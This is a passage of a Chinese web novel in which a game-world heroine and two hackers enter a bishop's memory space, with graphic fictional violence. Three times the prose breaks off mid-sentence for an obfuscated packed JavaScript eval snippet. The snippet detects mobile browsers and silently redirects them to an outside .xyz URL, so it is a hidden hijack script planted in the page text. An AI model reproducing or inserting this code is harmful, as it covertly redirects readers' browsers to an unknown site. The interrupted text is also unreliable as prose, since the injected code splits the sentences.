还没有结束,“班主任”跌跌撞撞爬起来,想着要自卫,竖起武器的时候,安德用膝盖和手腕以极其暴力的方式将刀片撞开,如同钢铁铸就的刀本身。 可以听见一刀到底,刮过“班主任”手掌,又切开身后栅栏让人牙酸的声音。 “母亲”落地后则被一脚踹翻,呼啸的刀震逼得耳膜嗡嗡作痛。 她面向安德的眼睛时,嘴角流出鲜血。徒劳地摸了摸自己的脖子,撕掉了透明传输线,显露出原本涂着鸦黑甲油的指尖。 声带从沙哑恢复回了年轻女人的清音,真实的皮肤从撕开的一层层假面中剥离出来。 刀已经收起来了,取代而来的是一把顶着她脑门的脉冲手枪。 “你是谁?”安德问,顺手拽掉脖颈上被射进的一根金属信号针。 “别拿枪指着妈妈。”她有点生闷气。 8. 幽灵家族(八) 至此,所有场景都消失了。 那个手被划了一刀的男的,他脸色煞白,正躺在地上装死。 露天的狭窄栈桥上四仰八叉挤着三个人。第一教堂从中间裂开了,一大半都坍塌进了地下。 安德无比确定,地震是因为下面发生了什么。 幻觉持续的时间非常短,就在这几分钟内。一望通天的黑色边缘,是已经褪去的白潮。 安德发现许多人从海的边缘走进来。他们穿着相同的白色外套,其中有些人戴着护目镜,被黑夜包裹着就像黑色土壤里扎眼的无数白色菌丝。 遮天蔽日,头顶的直升机机群呼啸而过。 那个女人被枪顶在地上,强装着镇定继续跟安德交涉。 “你可以叫我魏玛。但是看你大脑空空,问了就能认真记住吗?” “因为我大脑空空,所以你造不出有规律的幻境?” 安德看向地上,零落地散着几个组装复杂又破旧的扫描器和干扰器。看来刚刚这两个人就是躲在拐角里用它们入侵了她的意识。 安德玩过那么多游戏,当然知道一些“神经漫游者”、“心灵骇客”的设定。 他们既然出手了,就说明想从安德脑子里挖出什么情报。 这两个人大概是和那些穿着防护服的人一起进来的。 但是技术水平完全不在一个层面,他们走的民间黑技术流。 这两个人不是玩家,也不是文德尔港的原住民。他们正是在《往日之人》宣传片中会一闪而过的角色,赛博世界的技术黑客。 看见这些现代甚至未来社会的人们开始纷纷出现,安德有种恍如隔世的感觉。 “我说纯属意外,你会相信吗?那张让你不要思考的纸,是我们扔的。”魏玛说,“我们刚上岛就不小心摸进了这座教堂,然后看见了地下的那些东西,如果不是捡到那张纸我们已经死了。后来你就出现了,我们就把纸又扔给了你。” “还有一件事情,你的脑子要不就是有我解不了的屏障,要不就是被人洗过,”魏玛盯着安德,“你自己知道吗?” 游戏之外的世界里,人人都觉得烂在肚子里的话最安全,因为没有人是另一个人肚子里的蛔虫。 现在明显不是这样的。 只要人的意识无法加密,就意味着这个游戏里不存在真正意义上的秘密。 她当然没法读取一个现实世界玩家的意识。 安德装作不在意,没有管她说的那些,反而将地上那些堆在一起的工具拎起来。 一直装死的男人猛的坐起来,哎了一声,痛苦地看着被抓在安德手里的破铜烂铁。魏玛的脸上也闪过难以掩盖的肉疼表情。 “这些东西还能再用吗?”安德问。 魏玛先是呆滞了一下,然后皱眉。 “没见过世面的样子,很穷吗?你是黑户?” 黑户,顾名思义。 安德在想这个解释可行,让她的身份变得很合理。 没想到魏玛眼神冷下来。 “那你想达成的那个‘梦想’,是什么?” 在意识空间,魏玛装成她的“妈妈”诱导过这个问题,但是失败了。 安德面无表情,握枪的手很稳,可察觉地往魏玛眉心更加靠近。 她在意识里点出操作界面,再次查询附近频道,在线玩家依旧是零。 这个世界,也有人提出一个“梦想”的悬赏? “我刚刚看到你的意识空间了,虽然只进入了表层。” 魏玛额头有冷汗,毫无疑问她充满了关于生存的直觉,明白这把摁在额头上的枪不是玩笑。 “你也是从‘天穹’来这里做悬赏的吗?”魏玛继续说下去,“但是你意识里的场景建筑,我都没有见过。你来自哪个区?” 游戏里的NPC不认识现实里的普通高中和新年,很正常。 安德知道“天穹”,赛博都市,人类绿洲,这代表《往日之人:黑匣》的世界观背景正式出场了。 但“悬赏”是什么? 大雪纷飞。 整片冰川形状不可辨认,直升机列成四条直线向中间逼近,垂下吊索。 安德看到了很多像刚刚魏玛脖子上那样的透明管道。 更多、更长,无穷无尽的长度,数以万计乃至上亿根。将这个冻土层中的村落缓缓环抱,在漫天大雪中反射出银白色的光泽。 “我只是个一无所知的黑户,我需要钱。”安德说。 魏玛一怔,似乎完全没想到对方如此坦诚:“那我们不冲突……就不如做个交易。” “你杀了我没有意义,但是我可以给你钱。你的记忆有问题,我没有。你保住我,这样咱们都能活命。” “我只是需要找一个人。”魏玛低声说。她的声音有明显的僵硬,她刻意地放慢语速,让自己的话语听起来沉稳有力。 “是真的,”这个时候,身后一直不怎么敢说话的那个男的接上话,“我们只是在找一个人。” “我们干这一行已经五年了。混进‘意识执行专员’的队伍里,在那些高管或者首席科学家的记忆里找人,顺便刮点油水,比如金库位置之类的。” 什么乐观主义战士才会指望能从你俩身上捞钱。 安德这时才看了男的一眼。 和魏玛长得不像,但是小脸挺漂亮。 虽说两人都挺业余的,但是魏玛比他沉稳聪明一些。 跟他们待在一起,安德总是想起她那些公会里的菜鸡朋友,挺亲切的。 “我们蹭着他们去过很多地方,每次都是没问题的。只是这次阵势太大了,而且登岛之后他们目标明确,很快我们就和之前带我们进来的那个基层执法人员失联了。我们后来迷路了。” 魏玛没吱声,默认地梗着脖子。 【情报已更新——“意识执行专员制度”】 【意识执行专员制度的宗旨:预防心理疾病,维护社会稳定。 天穹世界联合执行局向您保证,我们关注每一位公民的身心健康。】 空心病。终于来了。 游戏系统难得干点人事,第一次主动给出情报,虽然有点像广告而非解释。 看来她接下来还是需要不停地开地图,然后从NPC嘴里套话。 这些执行专员离开“天穹”,是来文德尔港找一个空心病人? 只是这个人似乎没那么好找,所以才将文德尔港全部用透明细长的管道围起来。这得是什么心理变态,值得这么大动静远洋捕捞? 港口的人不知道天穹世界的存在,天穹世界却监视着这一大片冻土区。 冯老师心心念念外面的世界,正无情地向朝文德尔港敞开它极尽奢华的展柜。 “目标,是我吗?”安德想到“隐藏剧情”的事情,不得不多问一句。 “我顺手给你测过,”魏玛摇头,“你的PI等级只有0,比儿童还安全。” 【情报已更新——PI心理指数等级】 【根据脑波、情绪和行为数据,计算出的个体心理健康指数。与“空心病”无直接关系,但可以作为量化指标进行参考。 PI-0:健康状态,无需干预。 PI-1:轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718914|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度焦虑或抑郁,建议自我调节。 PI-2:中度心理问题,需要心理咨询或药物治疗。 PI-3:重度心理疾病,需强制干预或隔离。 PI-4:极端心理状态,需收容。】 安德看着浮动的透明面板上再次出现的更新情报,没有继续问下去。 魏玛这个时候苦笑一声:“连我精神这么稳定的人都是1等级,难以想象你的性格。” 下地道之前杀死了两个人,却迟迟不见有人追踪而来。 全港口的人沉浸在虔诚的睡眠之中,执行专员们穿行在黑夜里,似乎也没有叫醒他们的意思。 他们俩判断的是对的。 这些人今晚有大事要做。 放下那么多管道,下一步大约是要做魏玛刚刚做的工作。 只不过,更加专业,更加合规,范围更加……大。 “看来今晚要治的人,不会低于3等级了,或许是4等级。” 魏玛的脸被探照灯照亮了,从帽子里落出的几根樱粉色的长发,被直升机带起的风刮得飞扬起来,“我还没去过4等级的病人的意识里呢。” “你现在就要去了。”安德把那些仪器提在手里。 魏玛不可置信地看了一眼安德:“你疯子吗?我们没有那群专员的医用执照,也没有钱买正版‘铁幕’来防护,就凭着我做的这些传输和隔离设备,你就不怕被这个极端意识体污染吗?” 安德不动声色地记下了“铁幕”这个词,接着目光落在了躺在地上的小男生身上。 他马上吓得缩肩,有一种很强烈的不详预感。 “他们带来的直升机里,应该有专业的意识隧穿系统之类的,你们没有钱搞这些,”安德说,“如果我没想错,你应该是用他的脑神经完成神经桥接的?” 魏玛本来还想争辩什么,她皱着眉头:“你到这里应该比我们久,你觉得这个渔村里谁PI值最高?也就是,你觉得谁是那个神经病?” “好问题。”安德说。 她是真觉得这是一个问题,从这两天的观测来看,在文德尔港选出一个“集大病者”不亚于登天。 魏玛没有继续问下去:“我们不知道是谁,所以没有对应的‘记忆锚点’,只能蹭着他们的线路……” “和泉,你还行吗?”魏玛问了一句。 男孩犹豫着说:“那就……再来一次。” “谢谢。”安德说。 魏玛还没反应过来,就感觉到枪口离开了自己额头,然后响起一声。 男孩手脚瞬间瘫软地松开。 只剩眼睛还能动,他呆滞地望着钟塔漆黑的顶棚。 “别想着跑。”安德把仪器递给魏玛。 “把他手脚健全地扔在外面我不放心,我有点担心你骗我。” 魏玛咬着后槽牙,闷不作声,顶着越来越大的风摆弄她那套工具。 让它们的导体从塔楼上垂下去,掉落进那上亿数量正在工作的白色丝线中。 “和泉,定位,就定我们脚下的地方吧。”魏玛抽出另一端的传输线接在自己的脖子上,然后递另一根给安德。 两个人一左一右,躺在和泉的身边。 安德靠近了才看见和泉的领口敞开,身上连着错综复杂的线。那些线像一条条冰冷的蛇,紧紧缠绕着他。 他的眼睛深处开始涌现白色的数据流。脸色像纸一般,嘴唇干裂,额头上布满了细密的汗珠。 很少有事候连安德都觉得寒酸。 她不禁想着,要不出去以后给他们俩赔一套安全点的新设备。 9. 幽灵家族(九) 安德睁开眼睛的时候,魏玛和她一起并肩躺在地牢里。 她们在意识空间里回到了这个地方。 【你们还好吗?能不能听见我?】 【我们的位置在文德尔港第一教堂主教的“工厂”。】 和泉的声音同时传进两个人的大脑里。 “没问题,你导航吧。”魏玛说。 “来听我讲解一下,一无所知的黑户大人。我进你的脑子,只到了表层,那就是你的意识体第一层,我们叫那里‘医院’,下一层是深层记忆,叫‘工厂’。”魏玛侧过脸看着安德,黑色的指甲按着太阳穴。 “一般处理精神问题,‘医院’就可以解决,很少的极大重刑犯、恐怖分子要深入‘工厂’。所以这次我们定点的地方是‘工厂’。” 安德点头,看到铁栅栏的门敞开着,没有锁。 于是挪着往那边靠,先把腿跨出去,接着手搭给魏玛,把她一起拽了出来。 她们走过甬道,循着楼梯往上走。安德判断了一下附近的状况,抬眼看着窗外乌黑的天空,也看见了对面的钟楼。 只不过它有些怪异,整个钟面是静止的。它响起一声摄人心魄的钟声,低沉而悲戚,像是葬礼上的丧钟。 脚步声响起,她们转过身来。 一群身披长袍的少年们走上楼梯,与她们擦肩而过,走向上方的殿堂。长袍随风轻摆,他们被笼罩在兜帽阴影下,就像徘徊在此的鬼魂。 “我们现在看到的可能是他的童年记忆,”魏玛看着一个个男孩从楼梯上走过,“第二层一般都是比较久远的记忆。” 安德没有说什么,直接跟了上去。 阴冷的风从四面八方吹过来,并不剧烈,但是有种浸入脊骨的寒冷。很难不去注意到这里的气味,好像隐藏着无数腐烂物。 阶梯不断向上延伸,尽头是高耸的穹顶。那里没有点亮壁灯,走进去的男孩们逐渐被黑暗吞噬。 “他们好像一筐白菜,我们怎么才能知道哪个是主教小时候?”魏玛一边打量每个男孩的背影,一边自言自语。 “认出来的下一步是什么?”安德问,“杀了吗?” 魏玛顿了顿,稍作思索:“……也行。正常的操作是找出病变的那一部分,也就是这些‘记忆实体’里的‘本体’,然后进行治疗。如果你没有什么心理负担的话,可以按照你觉得省事的方法来。” 安德能理解魏玛这句话,毕竟在这个游戏里,大家都要保护PI值,守护自己的身心健康,所以会有人道主义的顾虑不足为奇。 但是她不介意。工会的人喜欢带着她,就是因为她足够暴力,下手足够快,如果可以推平就决不磨迹,像个专业雇佣兵。 魏玛决定先把人喊出来,于是对着前方无数的男孩呼唤了一声:“基里尔!” 他们依旧在麻木向前,安德又重复喊了几次。 人群如潮褪去之后,阶梯上留下了一个男孩。 一位年轻的学徒,袍子质地坚硬,领口高高竖起。他的头发梳得很整洁,面容年轻清秀,眉宇中尚有一丝稚嫩。 魏玛刚想问她怎么行动,就看见男孩回头的一瞬间,有个什么东西从眼前飞过去了。 是安德把一根拆下来的杆子甩了出去。 速度极快,像一道模糊的光影,正中那个那个男孩的脑门,发出一声闷响。 男孩面部一片血红,失去了平衡,向后仰去。他想要抓住什么但是失败了,身体在楼梯上翻滚,不停撞击在横杆上。 安德拉住魏玛侧身让开,看他重重摔在她们脚边,缩成一团,一动不动,逐渐变成粘稠状的黑泥,渗到地面下去。 【这……不是本体?】 和泉在频道里磕磕巴巴地问了一句。 魏玛皱着眉,回想起地下冰块吃人的画面,不禁身后发冷:“变态的小时候就是小变态,估计这时候还不是变态巅峰。” 话音未落,就看见另一队人从她们身后走过。 这次年纪更大了些,算是青年。他们排着整齐的队伍,沿着教堂的一侧前行。 安德隔着一段距离,跟着他们往前走,很快就闻到了燃烧物的气息。 长条木桌摆在宽阔的礼堂里,上面放着简单的食物。 有了上次的经验,年轻的主教很快就被认出来。他站在人群的最前面,为其他人指引方向和讲解规矩。另外一个年纪小些的学徒走在他的一边。 年轻的主教双手比划着,讲述着某段经文。小学徒则是一直听他说话,重复地点头,看不清他的眼睛,如同一只被安排在此只需要点头的玩偶。 “这次我们可以先混进去,套点话出来,”魏玛说,“说不定能套出他开始吃人的记忆。” 万万没想到,一直没怎么开口的安德突然看向她。 “妈妈,你能再演一下那个吗?”安德问。 此言一出,魏玛不可置信地回望着清灰色的眼睛,平静而冰冷,透过去也看不见任何对方的内心世界。这句话反差很难想象出自这种人。 魏玛有点想笑:“看上去淡淡的,其实你是个很蔫坏的人对不对?” 安德不再理她,从脚边栏杆上又抄下一根就跟上去了。 魏玛看着安德的背影,想到之前被揍的事情,不禁神情有些幽怨。 这群人麻木地走向食物,能听见脚下传来空洞的回声。 就在此时,低沉的轰鸣声从天际降下,如同远古的战鼓。笼罩整个教堂的阴霾被撕裂,一道道蓝色的光从中直射而下。 频道里传来一声轻响,像是保险箱的锁扣弹开一样清脆,接着整个空间的上方传来电子音。 【Ⅲ型:临摹,限制解除。】 【欢迎使用「心灵之镜」系统,天穹世界倾听您的心声。】 那是一柄巨大的蓝色天平,它的投影如神迹般出现在她们的头顶上。 天平的两端仿佛承载着世界的命运,庄严的清辉倾泻而下,照亮了整座建筑。 安德站在楼梯上,仰起头才能看清那巨大浮动的投影。 词条同时跳出。这回是她自己的系统。 【情报已更新——“Archetype原型”】 【结合神经语言的意识干涉能力体系。上传您的意识模型,解锁您的终身言灵。帮助您挖掘天赋所在,帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718915|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助您认识真实自我。欢迎使用「心灵之镜」系统,天穹世界倾听您的心声。】 Archetype。 出现在冯老师笔记本上的字母与眼前的词条重合,已经差不多可以拼凑的信息在此刻串联起来。 第一,游戏版图分为两个部分,除了文德尔港还有一个天穹世界。 第二,《往日之人》的战斗力系统体现在「原型」的使用上,目前已知蓝色天平这一流派。 第三,冯老师在岛上的研究,已经摸到了这套能力体系的边界。但知道这个单词的原因还待确定。 第四,主教可能是「原型」无意识的使用者,或许正是这种使用让天穹世界的人检测到了PI值的异常。此处与PI值的关联同样待确定。 看样子意识世界的主人无法感知到它的存在。 这些穿长袍的学徒依旧低着头机械向前,对周遭的一切毫无察觉,队伍在蓝色的光辉中格外渺小。 “跟那些执行人员比起来,我也不是很装了,只有一点小装。”女人的声音在身边响起,只不过蜕变成了沧桑的语调。 “装到了。这就是你的‘原型’吗?”安德先认可了对方的视觉效果,接着提出问题。 说是魏玛站在身边,不如说是一位“母亲”站在身边。 安德忍不住将她从头到脚打量了一番。 厚重的外衣是用大小不同的兽皮拼凑而成,非常旧了,边角磨到发白,和其他文德尔港的原住民差不多。 她的睫毛沾着冰碴,冻得梆硬。 “说来惭愧,我顶多算个原型的‘感应者’,还没有晋升到原型的‘具现者’,所以【临摹】顶多算是一种‘能力’。” 魏玛说着伸出手,摸摸安德的下巴:“好了别说了,这本质上是一种心理暗示能力,别说这些让妈妈出戏的话了好吗?” 她的头发被一顶毛皮帽子遮住,露出缕樱色的头发垂在脸颊一侧。 安德看到魏玛的脸还是自己的,只不过换上了一套空间主人记忆里的衣服,模仿了记忆中这个人的状态。她大概理解“心理暗示”的意思了。 魏玛喊了一声基里尔。年轻主教的目光穿越所有人落到他的“母亲”身上。 阴影中晃荡着一双绿色瞳孔,他与年龄并不相符的严肃眼神中充满了困惑。他意识到母亲是来教堂看望他的,哪怕只是远远地看一眼。他的嘴唇微微颤抖,不明白母亲为什么要来一趟,外面那么冷。 不怪叫做【临摹】。 魏玛眼睛微微眯起,神情里有一种难以言喻的忧伤和不舍。一秒入戏,这种眼神可比电视里的当红小明星要震撼多了。 和泉作为旁观者先在频道里发出得意的动静,然后交代了一些技巧。 【安德姐姐,你跟着一起进去,我会把你默认成这个空间的背景。】 基里尔过来,从安德身边扶走了魏玛。 安德想起年轻的基里尔这时眼睛还没有浑浊,以及,他也是个绿眼睛。 这一个微妙错身走位后,安德像个杀手一样绕到后面。 频道里,和泉感受到了突然而至的低气压,硬是吓得没敢说话。 10. 幽灵家族(十) 他们走进来,炉火在角落里燃烧,但是产生的热量和光亮都很有限,无法驱散弥漫的寒冷。 基里尔扶着魏玛坐下,给她端来了一份食物,黑面包、腌鱼和冷掉的汤水。 他的脸苍白得透明,面皮贴在骨头,眼睛深凹进去,瘦得血肉殆尽。 里面已经聚集了很多学徒,走进门就径直走向长木桌,坐下的时候长凳在地上拖出巨大的噪音。 他们拿起面包就往嘴里塞,咀嚼异常缓慢,但声音却很大。 他们吃完就开始喝汤,把汤勺放在碗里搅动,不停地落到碗底。喉咙因为吞咽上下蠕动。嘴唇开合,吧唧嘴的同时大声说话。在一般饭桌上,这样吃饭的人是会被抽的。 他们说出来的内容十分错乱,僵硬且重复,单个字都能听懂,合在一起就不知道意思。 这些人吃完以后就再次哗啦一声拖动长凳,向门口走去。 走到门口就像宕机一样停留了片刻,转身重新走回长木桌,坐下来吃饭,吃完再往门口走。 场景太诡异了。魏玛坐在基里尔的旁边,如坐针毡。 安德走到餐台那里排队取了一份,拉开凳子,坐在这对“母子”的斜对面。 这群人走进来、坐下、进食、离开,端着餐盘来来回回,就像某种流水线。进食声、咀嚼声、汤勺和碗的碰撞声此起彼伏。人与人大声对话、长凳在地面划动。 【他是不是对声音有点敏感啊?】 和泉的声音从频道里传出来。 安德能感觉到基里尔的身体在不自觉地往魏玛那里靠。 他肩膀微微耸起,这是一种下意识保护脖子的动作。他浑身都在出汗,饭吃得很困难,似乎嗓子发干难以下咽。 这方面魏玛比所有人反应都要快很多,她更早察觉到了,已经轻轻握住他的手指,另一只手轻轻摩挲着他的后背。 安慰的动作轻柔而缓慢。她微微侧过脸,声音温柔:“你是不是在害怕?” 基里尔的身体猛地一颤,强忍着惊恐:“母亲,我……我害怕这些声音,它们让我……” 他在说话的同时,很多人开始更大声地摆弄餐具,话还没有说完就被周围的咀嚼声淹没了。 “他是被人欺负了吗?”安德低着头小声问。 她拿着一根汤勺装样子,看着碗里颜色暗沉的不明液体。 餐盘里的面包被切成厚片,长着一层霉菌的斑点,甚至落满了灰尘。 每个人的盘子都差不多,只不过他们吃得很欢。 【有可能……但不是很像。姐姐你看,这意识空间里那么多人都在做同样的事情,大概是他这段记忆在接收信息时就已经扭曲了。】 “我……不舒服。”基里尔脸色憔悴,声音沙哑。 话音刚落,附近有很多人像收到了什么指令一样,开始端着盘子向他们附近走来。 他们眼神空洞,以他们为中心围坐下来,咣当放下餐盘就开始狼吞虎咽。就连安德的身边也坐满了人,他们一边咀嚼一边盯着基里尔,汤撒得到处都是。 【我明白了……这个人应该是二型症状,如果他有原型能力,应该也是二型。】 不远处的魏玛也能听到和泉的推论。 她微微颔首,表示认同,用一个简单的手势示意和泉继续讲下去。 【安德姐姐,我来解释一下。他的症状为过度担忧和恐惧,对声音的过度敏感。按照《联合执行局防疫白皮书》登记的内容,属于“空心病二型”的症状。一、二、三、四只是编号,平行关系。】 【当然,没有能力也会有空心病。除去被感染的普通人,还有一种患病的可能,就是他是‘感应者’或者‘具现者’,在晋升原型能力的时候不慎出了问题。】 【所以我猜测了一下,这种二型症状,很可能会对应在二型能力者身上,也就是一般而言的情感功能系“坚壁之盾”。姐姐你也看到了,大姐使用的能力是三型,理性功能系“无间之秤”。如果她堕落了,只可能会产生三型的症状……当然大姐会永远平安健康。】 “‘空心病’正在吞噬人类的记忆与灵魂,而你,是被选中的‘原型感应者’。用语言唤醒潜意识深处的古老力量,我们防护、我们对抗、我们治愈。” “但记住:每一次能力的晋升,都可能让你离精神污染更近一步……” 安德回忆起游戏介绍。 她看到自己面前的盘子,汤面开始漂浮出一层油脂,凝结成几个小气泡随即又破裂。腌鱼的眼睛凸起,盯着它看久了,会觉得那是一张人脸,正在张嘴呼吸。 安德挪开了视线,这碗汤实在太像学校后山那条臭水沟了。每到阴天返潮,就散发出危害人身心健康的味道。 “母亲,我也不想这样,但是所有的声音、气味都是那么大,为什么他们感觉不到?”基里尔深吸一口气。 诡异的进食声越来越大,其中有几个人不仅用眼睛恶狠狠地注视他,甚至咧开了嘴巴开始嘲笑他。 四周更加冰冷,空气变得粘稠起来,安德感觉自己在呼吸的不是气体而是某种胶状物。 “为什么只有我能感觉到?”基里尔猛地抬起头来。 “为什么会这样?为什么一直都是这样?为什么都说我们是好的血脉,但是我却连正常地吃一顿饭都做不到?就因为我是一个绿眼睛吗?” 【绿眼睛是什么?】 “他们这里的……名门望族,都是绿色眼睛,姓斯特拉霍夫。他们比一般的村民要聪明,把持着岛上许多重要的工作。”安德避开了“救世主”的话题。 “但是现在能看出来了,物极必反,他们好像精神上更加的不稳定。” 和泉嗯了一声,然后将这些信息同步到了魏玛那里。 所有人同时感觉到了这座空间在震颤,四面墙壁都回荡着剧烈的心跳,如同一个扩音设备将这种声音放大了千万倍。 难以言喻的恐惧,安德发觉空气更加厚重,这些声音刺穿鼓膜,将心脏拖拽下沉。 “都怪你生了我!这种受了诅咒的家族就应该灭亡!”基里尔抬起头,发出了一声尖叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718916|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他转头恶狠狠地瞪着魏玛,然后开始痛哭,眼中哗哗地往下流血。 魏玛回头朝安德看了一眼,脸色已经相当难看。 她额角的冷汗流下来,摇了摇头,表示算失败了。 安德站了起来,把旁边两个拼命砸嘴人的脸摁进了饭盆,她早就听得烦了。 接着她一步跨上了桌面。 没人看到她是怎么过来的,等到她的脸飞速出现在魏玛身后的时候,空中划过一道银色的弧线。 鲜血喷涌而出,溅在了安德的衣襟上。一把银色的叉子深深地斜插进基里尔的颅骨,准确地断了他的颈内动脉,然后一脚窝在他心口,把他踹翻在地。 “我其实知道的,你根本就不是我的母亲……” 基里尔嘴里发出最后几声咕哝,泄了气的皮球那样干瘪下去,最后只剩了一对绿色的眼珠子沤在黑泥和血浆中。 安德捡起地上的眼珠擦了擦,就像捡起块橡皮。 然后她把这对眼睛揣进外套的兜里。 魏玛有点语塞。 这个家伙,你要说她是个好人,她冷漠得恐怖,分分钟在你面前插爆别人的脑袋。 但你要说她不是个好人,小东西还挺有礼貌的,知道插爆别人脑袋的时候要站在前面,把溅出来的血挡着。 【他说不是他妈妈,这是怎么回事?大姐从来不会读错记忆的。】 “还有一种可能性,”魏玛把帽子扯下来,头发乱乱的,“就是这个形象是他幻想出来存放在记忆里的。真实的那个母亲形象,他不愿意想,所以他自己知道这个形象是假的。” “没关系,再等下一个吧。”安德说。 她不着急,虽然不清楚这两个人的经验到底是个什么程度,但是她已经差不多搞懂了这里面的规律。 表层区域中,会出现很多记忆主人的剪影。 他们中间会有一个是“本体”,也就是质变发生的那个时间点。 正常的手段应该是通过一些物理“锚点”作为辅助手段进行辨别。 但是这次情况特殊,他们两手空空地借用了别人的通道,只能有耐心地去守株待兔。 那些上楼的学徒们脚步声还踏在他们头顶上,四周喝汤的人依旧低头摆弄勺子。 乌泱泱的人群碰到门就回头重新吃饭,长长的取餐队伍结束了马上会重新排起,远远看过去跟条疯狂贪吃蛇似的。 耳边的海潮声越来越大。 安德看到门外不知道什么时候多了一个庞然大物,阴影遮蔽了大半个教堂。 她们走了出去,天在瞬间变黑。只见一艘大船搁浅在岸上。 第一教堂离海岸很近,居民区域在这个空间中不知所踪,只剩下海水围绕着教堂。 借着教堂里的灯光,能看见高大的船体深深陷入沙砾之中。 海浪拍打着有一种想将船推回海里的势头,但它坚如磐石,纹丝不动。 一阵沉默之后,和泉突然惊叫了一声。 【这不是咱们刚刚在地下撞见的那艘船吗?】 11. 幽灵家族(十一) 和泉的视角更加全面,能看到很多近处的细节。 船的下面还站着一个人,他穿着主教的衣袍,提着一盏防风的煤油灯,背影在庞大的阴影下格外渺小。 海风带来咸腥的气息,刮动他的衣角猎猎作响。 魏玛冷冷地哼了一声:“又是这个怪胎,跟幽灵似的阴魂不散。” “毕竟他是记忆的主人,”安德说,“这片海域的声音有问题。” 听到安德的提醒,魏玛和泉安静下来,很快就发现这片海域的声音是一种叠加的状态。 很难发觉,但是两个声源之间有细微的时间差。 安德向后转身,魏玛也跟着转过来,沙砾上映出两条扭曲的影子。 魏玛突然想起了什么,头皮发麻地又转回去,发现身后也是两条长长的人影。 两个人站在教堂前方,身下是四个影子。 “两个记忆片段同时出现,”安德说,“我们刚好站在对称轴上了。” 以第一教堂的门为中线,两片大海反向奔流而去,仿若什么匍匐在此的巨兽展开它的双翼。 一边的船头高高昂起,提灯的人在它脚下如同鬼魅。另一边则空空荡荡,唯余海浪卷过。 安德忽然想起了什么:“你们是怎么进的教堂地下室?” 魏玛缓慢皱起眉头:“……我们就是跟着队伍从一个岸口上来的,岸口很小海线也很低,应该不是这座岛的主港口。我们进来不久就走丢了。” 【是这样的,然后大姐和我就不小心掉进了什么入口。看样子是人为挖的洞口,我们还以为是什么陷阱。】 【我们在里面走了很久,看到了下面有光源,发现一群人在造船。我们趴在后面偷看了一会儿,就发现船在吃人啊!我还没见过这种能力,要不是大姐捂住我的嘴我就喊出来了,太变态了。还好捡到那个纸,提醒了我们……】 “然后我们就见到了你从另一边过来了,你倒是冷静,而且免疫力不错,”魏玛打断了和泉的话,“但是以防万一,我们还是把写了警告的纸扔给了你。” “我从另一边来的?”安德重复。 魏玛嗯了一声,看到另一边空空如也的海岸:“所以,为什么这边没有那个怪胎?” “因为他大概率在下面。”安德说着,用手指了指地下室的方向。 就在这时,所有人的眼前都在反复跳着一行红色的警告“Warning”。 剧烈的声音让魏玛捂住耳朵,她忍受着嘈杂的警告声和闪烁的红灯看向安德。 “他们的专业设备检测到了PI值浓度超过阈值,我们借他们的道所以也看到了。”魏玛说。 “能杀吗?”安德问。 “我怀疑不行,”魏玛的脸色很凝重,“核心区病变只有两个方法,第一,实体本人愿意治,第二,火力足够猛。如你所见,我是个……嗯,文职人员,和泉他……顶多算个挂件。” “除了他以外,还有什么东西?”安德盯着主教的后背。 “还有‘记忆实体’。打过游戏里的量产小怪吗?”魏玛苦笑一声,“到时候你还没来得及一棍子扎进去,就会被涌出来的黑色小怪淹死。他们数量多得超出你想象,更何况这里的主人可是个超级怪胎,他们相应得会更强。” 系统告诉过安德,这是新手教学关。 所谓新手教学,也就是说学到的技巧和规则会沿用到今后的所有章节中。 “我知道了,”安德说,“我们分头行动。” “你想怎么做?”魏玛挑眉。 “你知道危险,但掉到了洞里还敢往前走,”安德回看她的眼睛,语气平淡,“基里尔很值钱?他就是你志在必得的‘悬赏’?” 直觉过强,还总是手起刀落毫不犹豫。魏玛从来不怵和人对视,但有点害怕安德。 她一直认为自己还算了解人心,胆怯者可威逼,贪心者可利诱。这个世界上的每个人,都有做人的思维模式,这也正是心灵能力多如繁星又能被“原型”归类的原因。 魏玛凝视着对方的眼睛,没有感觉到什么心理活动,从对方的反问里也没有接收到任何攻击性。 她在想,对方除了杀人的时候,都很安静。她甚至会有点这家伙还没长大成人的错觉。 生平第一次,魏玛不知道怎么开口。 “既然你志在必得,我们就分工。”安德继续说,“你负责看好这个,我去下面,把另一个带上来。” 魏玛反应了一会儿:“你的意思是,让两个记忆碎片的本尊引到一起,让他们谈谈,接受治疗?” “可以试试。”安德点头。 说完安德就转身要走,魏玛在身后拽了她一把。 “既然要合作,我得问你一声,”魏玛皱眉,“你的记忆有问题,还不是‘感应者’。一个人可以吗?不排除下面会有认知污染的最坏可能。” 